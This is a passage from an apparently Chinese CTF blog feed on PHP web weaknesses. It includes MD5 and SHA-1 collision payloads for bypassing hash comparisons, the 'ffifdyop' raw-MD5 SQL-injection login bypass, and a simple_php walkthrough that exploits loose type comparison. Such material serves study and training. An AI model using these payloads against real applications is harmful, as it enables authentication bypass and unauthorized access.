class="number">55</span>%<span class="number">5</span>d%d5%<span class="number">76</span>%<span class="number">55</span>%<span class="number">57</span>%<span class="number">46</span>%<span class="number">6</span>c%<span class="number">89</span>%c9%df%b2%<span class="number">3</span>c%<span class="number">85</span>%<span class="number">97</span>%<span class="number">1</span>e%f6%<span class="number">38</span>%<span class="number">66</span>%c9%<span class="number">17</span>%<span class="number">22</span>%e7%ea%c9%f5%d2%e0%<span class="number">14</span>%d8%<span class="number">35</span>%<span class="number">4</span>f%<span class="number">0</span>a%<span class="number">5</span>c%<span class="number">34</span>%d3%<span class="number">73</span>%a5%<span class="number">98</span>%f7%<span class="number">66</span>%<span class="number">72</span>%aa%<span class="number">43</span>%e3%bd%a2%cd%<span class="number">62</span>%fd%<span class="number">69</span>%<span class="number">1</span>d%<span class="number">34</span>%<span class="number">30</span>%<span class="number">57</span>%<span class="number">52</span>%ab%<span class="number">41</span>%b1%<span class="number">91</span>%<span class="number">65</span>%f2%<span class="number">30</span>%<span class="number">7</span>f%cf%c6%a1%<span class="number">8</span>c%fb%dc%c4%<span class="number">8</span>f%<span class="number">61</span>%a5%<span class="number">93</span>%<span class="number">40</span>%<span class="number">1</span>a%<span class="number">13</span>%d1%<span class="number">09</span>%c5%e0%f7%<span class="number">87</span>%<span class="number">5</span>f%<span class="number">48</span>%e7%d7%b3%<span class="number">62</span>%<span class="number">04</span>%a7%c4%cb%fd%f4%ff%cf%<span class="number">3</span>b%<span class="number">74</span>%<span class="number">28</span>%<span class="number">1</span>c%<span class="number">96</span>%<span class="number">8</span>e%<span class="number">09</span>%<span class="number">73</span>%<span class="number">3</span>a%<span class="number">9</span>b%a6%<span class="number">2</span>f%ed%b7%<span class="number">99</span>%d5%b9%<span class="number">05</span>%<span class="number">39</span>%<span class="number">95</span>%ab</span><br><span class="line"><span class="variable">$s2</span> = %af%<span class="number">13</span>%<span class="number">76</span>%<span class="number">70</span>%<span class="number">82</span>%a0%a6%<span class="number">58</span>%cb%<span class="number">3</span>e%<span class="number">23</span>%<span class="number">38</span>%c4%c6%db%<span class="number">8</span>b%<span class="number">60</span>%<span class="number">2</span>c%bb%<span class="number">90</span>%<span class="number">68</span>%a0%<span class="number">2</span>d%e9%<span class="number">47</span>%aa%<span class="number">78</span>%<span class="number">49</span>%<span class="number">6</span>e%<span class="number">0</span>a%c0%c0%<span class="number">31</span>%d3%fb%cb%<span class="number">82</span>%<span class="number">25</span>%<span class="number">92</span>%<span class="number">0</span>d%cf%<span class="number">61</span>%<span class="number">67</span>%<span class="number">64</span>%e8%cd%<span class="number">7</span>d%<span class="number">47</span>%ba%<span class="number">0</span>e%<span class="number">5</span>d%<span class="number">1</span>b%<span class="number">9</span>c%<span class="number">1</span>c%<span class="number">5</span>c%cd%<span class="number">07</span>%<span class="number">2</span>d%f7%a8%<span class="number">2</span>d%<span class="number">1</span>d%bc%<span class="number">5</span>e%<span class="number">2</span>c%<span class="number">06</span>%<span class="number">46</span>%<span class="number">3</span>a%<span class="number">0</span>f%<span class="number">2</span>d%<span class="number">4</span>b%e9%<span class="number">20</span>%<span class="number">1</span>d%<span class="number">29</span>%<span class="number">66</span>%a4%e1%<span class="number">8</span>b%<span class="number">7</span>d%<span class="number">0</span>c%f5%ef%<span class="number">97</span>%b6%ee%<span class="number">48</span>%dd%<span class="number">0</span>e%<span class="number">09</span>%aa%e5%<span class="number">4</span>d%<span class="number">6</span>a%<span class="number">5</span>d%<span class="number">6</span>d%<span class="number">75</span>%<span class="number">77</span>%<span class="number">72</span>%cf%<span class="number">47</span>%<span class="number">16</span>%a2%<span class="number">06</span>%<span class="number">72</span>%<span class="number">71</span>%c9%a1%<span class="number">8</span>f%<span class="number">00</span>%f6%<span class="number">9</span>d%ee%<span class="number">54</span>%<span class="number">27</span>%<span class="number">71</span>%be%c8%c3%<span class="number">8</span>f%<span class="number">93</span>%e3%<span class="number">52</span>%<span class="number">73</span>%<span class="number">73</span>%<span class="number">53</span>%a0%<span class="number">5</span>f%<span class="number">69</span>%ef%c3%<span class="number">3</span>b%ea%ee%<span class="number">70</span>%<span class="number">71</span>%ae%<span class="number">2</span>a%<span class="number">21</span>%c8%<span class="number">44</span>%d7%<span class="number">22</span>%<span class="number">87</span>%<span class="number">9</span>f%be%<span class="number">79</span>%<span class="number">6</span>d%c4%<span class="number">61</span>%a4%<span class="number">08</span>%<span class="number">57</span>%<span class="number">02</span>%<span class="number">82</span>%<span class="number">2</span>a%ef%<span class="number">36</span>%<span class="number">95</span>%da%ee%<span class="number">13</span>%bc%fb%<span class="number">7</span>e%a3%<span class="number">59</span>%<span class="number">45</span>%ef%<span class="number">25</span>%<span class="number">67</span>%<span class="number">3</span>c%e0%<span class="number">27</span>%<span class="number">69</span>%<span class="number">2</span>b%<span class="number">95</span>%<span class="number">77</span>%b8%cd%dc%<span class="number">4</span>f%de%<span class="number">73</span>%<span class="number">24</span>%e8%ab%<span class="number">66</span>%<span class="number">74</span>%d2%<span class="number">8</span>c%<span class="number">68</span>%<span class="number">06</span>%<span class="number">80</span>%<span class="number">0</span>c%dd%<span class="number">74</span>%ae%<span class="number">31</span>%<span class="number">05</span>%d1%<span class="number">15</span>%<span class="number">7</span>d%c4%<span class="number">5</span>e%bc%<span class="number">0</span>b%<span class="number">0</span>f%<span class="number">21</span>%<span class="number">23</span>%a4%<span class="number">96</span>%<span class="number">7</span>c%<span class="number">17</span>%<span class="number">12</span>%d1%<span class="number">2</span>b%b3%<span class="number">10</span>%b7%<span class="number">37</span>%<span class="number">60</span>%<span class="number">68</span>%d7%cb%<span class="number">35</span>%<span class="number">5</span>a%<span class="number">54</span>%<span class="number">97</span>%<span class="number">08</span>%<span class="number">0</span>d%<span class="number">54</span>%<span class="number">78</span>%<span class="number">49</span>%d0%<span class="number">93</span>%c3%b3%fd%<span class="number">1</span>f%<span class="number">0</span>b%<span class="number">35</span>%<span class="number">11</span>%<span class="number">9</span>d%<span class="number">96</span>%<span class="number">1</span>d%ba%<span class="number">64</span>%e0%<span class="number">86</span>%ad%ef%<span class="number">52</span>%<span class="number">98</span>%<span class="number">2</span>d%<span class="number">84</span>%<span class="number">12</span>%<span class="number">77</span>%bb%ab%e8%<span class="number">64</span>%da%a3%<span class="number">65</span>%<span class="number">55</span>%<span class="number">5</span>d%d5%<span class="number">76</span>%<span class="number">55</span>%<span class="number">57</span>%<span class="number">46</span>%<span class="number">6</span>c%<span class="number">89</span>%c9%<span class="number">5</span>f%b2%<span class="number">3</span>c%<span class="number">85</span>%<span class="number">97</span>%<span class="number">1</span>e%f6%<span class="number">38</span>%<span class="number">66</span>%c9%<span class="number">17</span>%<span class="number">22</span>%e7%ea%c9%f5%d2%e0%<span class="number">14</span>%d8%<span class="number">35</span>%<span class="number">4</span>f%<span class="number">0</span>a%<span class="number">5</span>c%<span class="number">34</span>%d3%f3%a5%<span class="number">98</span>%f7%<span class="number">66</span>%<span class="number">72</span>%aa%<span class="number">43</span>%e3%bd%a2%cd%<span class="number">62</span>%fd%e9%<span class="number">1</span>d%<span class="number">34</span>%<span class="number">30</span>%<span class="number">57</span>%<span class="number">52</span>%ab%<span class="number">41</span>%b1%<span class="number">91</span>%<span class="number">65</span>%f2%<span class="number">30</span>%<span class="number">7</span>f%cf%c6%a1%<span class="number">8</span>c%fb%dc%c4%<span class="number">8</span>f%<span class="number">61</span>%a5%<span class="number">13</span>%<span class="number">40</span>%<span class="number">1</span>a%<span class="number">13</span>%d1%<span class="number">09</span>%c5%e0%f7%<span class="number">87</span>%<span class="number">5</span>f%<span class="number">48</span>%e7%d7%b3%<span class="number">62</span>%<span class="number">04</span>%a7%c4%cb%fd%f4%ff%cf%<span class="number">3</span>b%<span class="number">74</span>%a8%<span class="number">1</span>b%<span class="number">96</span>%<span class="number">8</span>e%<span class="number">09</span>%<span class="number">73</span>%<span class="number">3</span>a%<span class="number">9</span>b%a6%<span class="number">2</span>f%ed%b7%<span class="number">99</span>%d5%<span class="number">39</span>%<span class="number">05</span>%<span class="number">39</span>%<span class="number">95</span>%ab</span><br><span class="line"><span class="variable">$s3</span> = %af%<span class="number">13</span>%<span class="number">76</span>%<span class="number">70</span>%<span class="number">82</span>%a0%a6%<span class="number">58</span>%cb%<span class="number">3</span>e%<span class="number">23</span>%<span class="number">38</span>%c4%c6%db%<span class="number">8</span>b%<span class="number">60</span>%<span class="number">2</span>c%bb%<span class="number">90</span>%<span class="number">68</span>%a0%<span class="number">2</span>d%e9%<span class="number">47</span>%aa%<span class="number">78</span>%<span class="number">49</span>%<span class="number">6</span>e%<span class="number">0</span>a%c0%c0%<span class="number">31</span>%d3%fb%cb%<span class="number">82</span>%<span class="number">25</span>%<span class="number">92</span>%<span class="number">0</span>d%cf%<span class="number">61</span>%<span class="number">67</span>%<span class="number">64</span>%e8%cd%<span class="number">7</span>d%<span class="number">47</span>%ba%<span class="number">0</span>e%<span class="number">5</span>d%<span class="number">1</span>b%<span class="number">9</span>c%<span class="number">1</span>c%<span class="number">5</span>c%cd%<span class="number">07</span>%<span class="number">2</span>d%f7%a8%<span class="number">2</span>d%<span class="number">1</span>d%bc%<span class="number">5</span>e%<span class="number">2</span>c%<span class="number">06</span>%<span class="number">46</span>%<span class="number">3</span>a%<span class="number">0</span>f%<span class="number">2</span>d%<span class="number">4</span>b%e9%<span class="number">20</span>%<span class="number">1</span>d%<span class="number">29</span>%<span class="number">66</span>%a4%e1%<span class="number">8</span>b%<span class="number">7</span>d%<span class="number">0</span>c%f5%ef%<span class="number">97</span>%b6%ee%<span class="number">48</span>%dd%<span class="number">0</span>e%<span class="number">09</span>%aa%e5%<span class="number">4</span>d%<span class="number">6</span>a%<span class="number">5</span>d%<span class="number">6</span>d%<span class="number">75</span>%<span class="number">77</span>%<span class="number">72</span>%cf%<span class="number">47</span>%<span class="number">16</span>%a2%<span class="number">06</span>%<span class="number">72</span>%<span class="number">71</span>%c9%a1%<span class="number">8</span>f%<span class="number">00</span>%f6%<span class="number">9</span>d%ee%<span class="number">54</span>%<span class="number">27</span>%<span class="number">71</span>%be%c8%c3%<span class="number">8</span>f%<span class="number">93</span>%e3%<span class="number">52</span>%<span class="number">73</span>%<span class="number">73</span>%<span class="number">53</span>%a0%<span class="number">5</span>f%<span class="number">69</span>%ef%c3%<span class="number">3</span>b%ea%ee%<span class="number">70</span>%<span class="number">71</span>%ae%<span class="number">2</span>a%<span class="number">21</span>%c8%<span class="number">44</span>%d7%<span class="number">22</span>%<span class="number">87</span>%<span class="number">9</span>f%be%<span class="number">79</span>%ed%c4%<span class="number">61</span>%a4%<span class="number">08</span>%<span class="number">57</span>%<span class="number">02</span>%<span class="number">82</span>%<span class="number">2</span>a%ef%<span class="number">36</span>%<span class="number">95</span>%da%ee%<span class="number">13</span>%bc%fb%<span class="number">7</span>e%a3%<span class="number">59</span>%<span class="number">45</span>%ef%<span class="number">25</span>%<span class="number">67</span>%<span class="number">3</span>c%e0%a7%<span class="number">69</span>%<span class="number">2</span>b%<span class="number">95</span>%<span class="number">77</span>%b8%cd%dc%<span class="number">4</span>f%de%<span class="number">73</span>%<span class="number">24</span>%e8%ab%e6%<span class="number">74</span>%d2%<span class="number">8</span>c%<span class="number">68</span>%<span class="number">06</span>%<span class="number">80</span>%<span class="number">0</span>c%dd%<span class="number">74</span>%ae%<span class="number">31</span>%<span class="number">05</span>%d1%<span class="number">15</span>%<span class="number">7</span>d%c4%<span class="number">5</span>e%bc%<span class="number">0</span>b%<span class="number">0</span>f%<span class="number">21</span>%<span class="number">23</span>%a4%<span class="number">16</span>%<span class="number">7</span>c%<span class="number">17</span>%<span class="number">12</span>%d1%<span class="number">2</span>b%b3%<span class="number">10</span>%b7%<span class="number">37</span>%<span class="number">60</span>%<span class="number">68</span>%d7%cb%<span class="number">35</span>%<span class="number">5</span>a%<span class="number">54</span>%<span class="number">97</span>%<span class="number">08</span>%<span class="number">0</span>d%<span class="number">54</span>%<span class="number">78</span>%<span class="number">49</span>%d0%<span class="number">93</span>%c3%<span class="number">33</span>%fd%<span class="number">1</span>f%<span class="number">0</span>b%<span class="number">35</span>%<span class="number">11</span>%<span class="number">9</span>d%<span class="number">96</span>%<span class="number">1</span>d%ba%<span class="number">64</span>%e0%<span class="number">86</span>%ad%<span class="number">6</span>f%<span class="number">52</span>%<span class="number">98</span>%<span class="number">2</span>d%<span class="number">84</span>%<span class="number">12</span>%<span class="number">77</span>%bb%ab%e8%<span class="number">64</span>%da%a3%<span class="number">65</span>%<span class="number">55</span>%<span class="number">5</span>d%d5%<span class="number">76</span>%<span class="number">55</span>%<span class="number">57</span>%<span class="number">46</span>%<span class="number">6</span>c%<span class="number">89</span>%c9%df%b2%<span class="number">3</span>c%<span class="number">85</span>%<span class="number">97</span>%<span class="number">1</span>e%f6%<span class="number">38</span>%<span class="number">66</span>%c9%<span class="number">17</span>%<span class="number">22</span>%e7%ea%c9%f5%d2%e0%<span class="number">14</span>%d8%<span class="number">35</span>%<span class="number">4</span>f%<span class="number">0</span>a%<span class="number">5</span>c%<span class="number">34</span>%d3%<span class="number">73</span>%a5%<span class="number">98</span>%f7%<span class="number">66</span>%<span class="number">72</span>%aa%<span class="number">43</span>%e3%bd%a2%cd%<span class="number">62</span>%fd%<span class="number">69</span>%<span class="number">1</span>d%<span class="number">34</span>%<span class="number">30</span>%<span class="number">57</span>%<span class="number">52</span>%ab%<span class="number">41</span>%b1%<span class="number">91</span>%<span class="number">65</span>%f2%<span class="number">30</span>%<span class="number">7</span>f%cf%c6%a1%<span class="number">8</span>c%fb%dc%c4%<span class="number">8</span>f%<span class="number">61</span>%a5%<span class="number">93</span>%<span class="number">40</span>%<span class="number">1</span>a%<span class="number">13</span>%d1%<span class="number">09</span>%c5%e0%f7%<span class="number">87</span>%<span class="number">5</span>f%<span class="number">48</span>%e7%d7%b3%<span class="number">62</span>%<span class="number">04</span>%a7%c4%cb%fd%f4%ff%cf%<span class="number">3</span>b%<span class="number">74</span>%<span class="number">28</span>%<span class="number">1</span>c%<span class="number">96</span>%<span class="number">8</span>e%<span class="number">09</span>%<span class="number">73</span>%<span class="number">3</span>a%<span class="number">9</span>b%a6%<span class="number">2</span>f%ed%b7%<span class="number">99</span>%d5%b9%<span class="number">05</span>%<span class="number">39</span>%<span class="number">95</span>%ab</span><br><span class="line">--------------------</span><br></pre></td></tr></table></figure><h3 id="拓-sha1加密的两个相同值"><a href="#拓-sha1加密的两个相同值" class="headerlink" title="拓:sha1加密的两个相同值"></a>拓:sha1加密的两个相同值</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">array1=%<span class="number">25</span>PDF-<span class="number">1.3</span>%<span class="number">0</span>A%<span class="number">25</span>%E2%E3%CF%D3%<span class="number">0</span>A%<span class="number">0</span>A%<span class="number">0</span>A1%<span class="number">200</span>%<span class="number">20</span>obj%<span class="number">0</span>A%<span class="number">3</span>C%<span class="number">3</span>C/Width%<span class="number">202</span>%<span class="number">200</span>%<span class="number">20</span>R/Height%<span class="number">203</span>%<span class="number">200</span>%<span class="number">20</span>R/Type%<span class="number">204</span>%<span class="number">200</span>%<span class="number">20</span>R/Subtype%<span class="number">205</span>%<span class="number">200</span>%<span class="number">20</span>R/Filter%<span class="number">206</span>%<span class="number">200</span>%<span class="number">20</span>R/ColorSpace%<span class="number">207</span>%<span class="number">200</span>%<span class="number">20</span>R/Length%<span class="number">208</span>%<span class="number">200</span>%<span class="number">20</span>R/BitsPerComponent%<span class="number">208</span>%<span class="number">3</span>E%<span class="number">3</span>E%<span class="number">0</span>Astream%<span class="number">0</span>A%FF%D8%FF%FE%<span class="number">00</span>%<span class="number">24</span>SHA-<span class="number">1</span>%<span class="number">20</span>is%<span class="number">20</span>dead%<span class="number">21</span>%<span class="number">21</span>%<span class="number">21</span>%<span class="number">21</span>%<span class="number">21</span>%<span class="number">85</span>/%EC%<span class="number">09</span>%<span class="number">239</span>u%<span class="number">9</span>C9%B1%A1%C6%<span class="number">3</span>CL%<span class="number">97</span>%E1%FF%FE%<span class="number">01</span>%<span class="number">7</span>FF%DC%<span class="number">93</span>%A6%B6%<span class="number">7</span>E%<span class="number">01</span>%<span class="number">3</span>B%<span class="number">02</span>%<span class="number">9</span>A%AA%<span class="number">1</span>D%B2V%<span class="number">0</span>BE%CAg%D6%<span class="number">88</span>%C7%F8K%<span class="number">8</span>CLy%<span class="number">1</span>F%E0%<span class="number">2</span>B%<span class="number">3</span>D%F6%<span class="number">14</span>%F8m%B1i%<span class="number">09</span>%<span class="number">01</span>%C5kE%C1S%<span class="number">0</span>A%FE%DF%B7%<span class="number">608</span>%E9rr/%E7%ADr%<span class="number">8</span>F%<span class="number">0</span>EI%<span class="number">04</span>%E0F%C20W%<span class="number">0</span>F%E9%D4%<span class="number">13</span>%<span class="number">98</span>%AB%E1.%F5%BC%<span class="number">94</span>%<span class="number">2</span>B%E35B%A4%<span class="number">80</span>-%<span class="number">98</span>%B5%D7%<span class="number">0</span>F%<span class="number">2</span>A3.%C3%<span class="number">7</span>F%AC5%<span class="number">14</span>%E7M%DC%<span class="number">0</span>F%<span class="number">2</span>C%C1%A8t%CD%<span class="number">0</span>Cx0Z%<span class="number">21</span>Vda0%<span class="number">97</span>%<span class="number">89</span>%<span class="number">60</span>k%D0%BF%<span class="number">3</span>F%<span class="number">98</span>%CD%A8%<span class="number">04</span>F%<span class="number">29</span>%A1</span><br><span class="line"></span><br><span class="line">array2=%<span class="number">25</span>PDF-<span class="number">1.3</span>%<span class="number">0</span>A%<span class="number">25</span>%E2%E3%CF%D3%<span class="number">0</span>A%<span class="number">0</span>A%<span class="number">0</span>A1%<span class="number">200</span>%<span class="number">20</span>obj%<span class="number">0</span>A%<span class="number">3</span>C%<span class="number">3</span>C/Width%<span class="number">202</span>%<span class="number">200</span>%<span class="number">20</span>R/Height%<span class="number">203</span>%<span class="number">200</span>%<span class="number">20</span>R/Type%<span class="number">204</span>%<span class="number">200</span>%<span class="number">20</span>R/Subtype%<span class="number">205</span>%<span class="number">200</span>%<span class="number">20</span>R/Filter%<span class="number">206</span>%<span class="number">200</span>%<span class="number">20</span>R/ColorSpace%<span class="number">207</span>%<span class="number">200</span>%<span class="number">20</span>R/Length%<span class="number">208</span>%<span class="number">200</span>%<span class="number">20</span>R/BitsPerComponent%<span class="number">208</span>%<span class="number">3</span>E%<span class="number">3</span>E%<span class="number">0</span>Astream%<span class="number">0</span>A%FF%D8%FF%FE%<span class="number">00</span>%<span class="number">24</span>SHA-<span class="number">1</span>%<span class="number">20</span>is%<span class="number">20</span>dead%<span class="number">21</span>%<span class="number">21</span>%<span class="number">21</span>%<span class="number">21</span>%<span class="number">21</span>%<span class="number">85</span>/%EC%<span class="number">09</span>%<span class="number">239</span>u%<span class="number">9</span>C9%B1%A1%C6%<span class="number">3</span>CL%<span class="number">97</span>%E1%FF%FE%<span class="number">01</span>sF%DC%<span class="number">91</span>f%B6%<span class="number">7</span>E%<span class="number">11</span>%<span class="number">8</span>F%<span class="number">02</span>%<span class="number">9</span>A%B6%<span class="number">21</span>%B2V%<span class="number">0</span>F%F9%CAg%CC%A8%C7%F8%<span class="number">5</span>B%A8Ly%<span class="number">03</span>%<span class="number">0</span>C%<span class="number">2</span>B%<span class="number">3</span>D%E2%<span class="number">18</span>%F8m%B3%A9%<span class="number">09</span>%<span class="number">01</span>%D5%DFE%C1O%<span class="number">26</span>%FE%DF%B3%DC8%E9j%C2/%E7%BDr%<span class="number">8</span>F%<span class="number">0</span>EE%BC%E0F%D2%<span class="number">3</span>CW%<span class="number">0</span>F%EB%<span class="number">14</span>%<span class="number">13</span>%<span class="number">98</span>%BBU.%F5%A0%A8%<span class="number">2</span>B%E31%FE%A4%<span class="number">807</span>%B8%B5%D7%<span class="number">1</span>F%<span class="number">0E3</span>.%DF%<span class="number">93</span>%AC5%<span class="number">00</span>%EBM%DC%<span class="number">0</span>D%EC%C1%A8dy%<span class="number">0</span>Cx%<span class="number">2</span>Cv%<span class="number">21</span>V%<span class="number">60</span>%DD0%<span class="number">97</span>%<span class="number">91</span>%D0k%D0%AF%<span class="number">3</span>F%<span class="number">98</span>%CD%A4%BCF%<span class="number">29</span>%B1</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="MD5-SQL注入"><a href="#MD5-SQL注入" class="headerlink" title="MD5-SQL注入"></a>MD5-SQL注入</h3><p>题目类似于</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">sql=&quot;select * from admin where password=&#x27;&quot;.md5($pass,true).&quot;&#x27;&quot;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>一个ticker：字符串：<code>ffifdyop</code>的md值为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27;or&#x27;6�]��!r,��b</span><br></pre></td></tr></table></figure><p>拼凑到sql语句中变成了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from &quot;admin&quot; where password=&#x27;&#x27;or&#x27;6�]��!r,��b&#x27;</span><br></pre></td></tr></table></figure><p>由于非空字符串认为真，所有实现了sql注入</p><h1 id="实战"><a href="#实战" class="headerlink" title="实战"></a><strong>实战</strong></h1><h2 id="1-攻防世界-simple-php"><a href="#1-攻防世界-simple-php" class="headerlink" title="1.攻防世界-simple_php"></a>1.攻防世界-simple_php</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">show_source</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">&quot;config.php&quot;</span>);</span><br><span class="line"><span class="variable">$a</span>=@<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>];</span><br><span class="line"><span class="variable">$b</span>=@<span class="variable">$_GET</span>[<span class="string">&#x27;b&#x27;</span>];</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$a</span>==<span class="number">0</span> <span class="keyword">and</span> <span class="variable">$a</span>)&#123;</span><br><span class="line">  <span class="keyword">echo</span> <span class="variable">$flag1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">is_numeric</span>(<span class="variable">$b</span>))&#123;</span><br><span class="line">  <span class="keyword">exit</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$b</span>&gt;<span class="number">1234</span>)&#123;</span><br><span class="line">  <span class="keyword">echo</span> <span class="variable">$flag2</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>此处使用任意开头不含数字的字符串可使a的相关条件通过。</p><ul><li>第一个条件：由于a是弱比较，此时任意开头不含数字的字符串被当成0进行比价</li><li>第二个条件：a不为空（非空字符串），则条件为真。如果a 是一个空字符串，条件将为假。</li></ul><p>此处使用开头含数字且数字大于1234的字符串可使b的相关条件通过。</p><ul><li>第一个条件：要求b不能是一个数字或者是全由数字构成的字符串</li><li>第二个条件：此时进行若比较，开头含数字且数字大于1234的字符串会被作为数字进行比较</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;PHP&quot;&gt;&lt;a href=&quot;#PHP&quot; class=&quot;headerlink&quot; title=&quot;PHP&quot;&gt;&lt;/a&gt;&lt;strong&gt;PHP&lt;/strong&gt;&lt;/h1&gt;&lt;h2 id=&quot;PHP中的比较符&quot;&gt;&lt;a href=&quot;#PHP中的比较符&quot; class=&quot;headerl</summary>
      
    
    
    
    <category term="web" scheme="https://wells.host/categories/web/"/>
    
    
    <category term="CTF-Web" scheme="https://wells.host/tags/CTF-Web/"/>
    
    <category term="Web-PHP" scheme="https://wells.host/tags/Web-PHP/"/>
    
  </entry>
  
</feed>
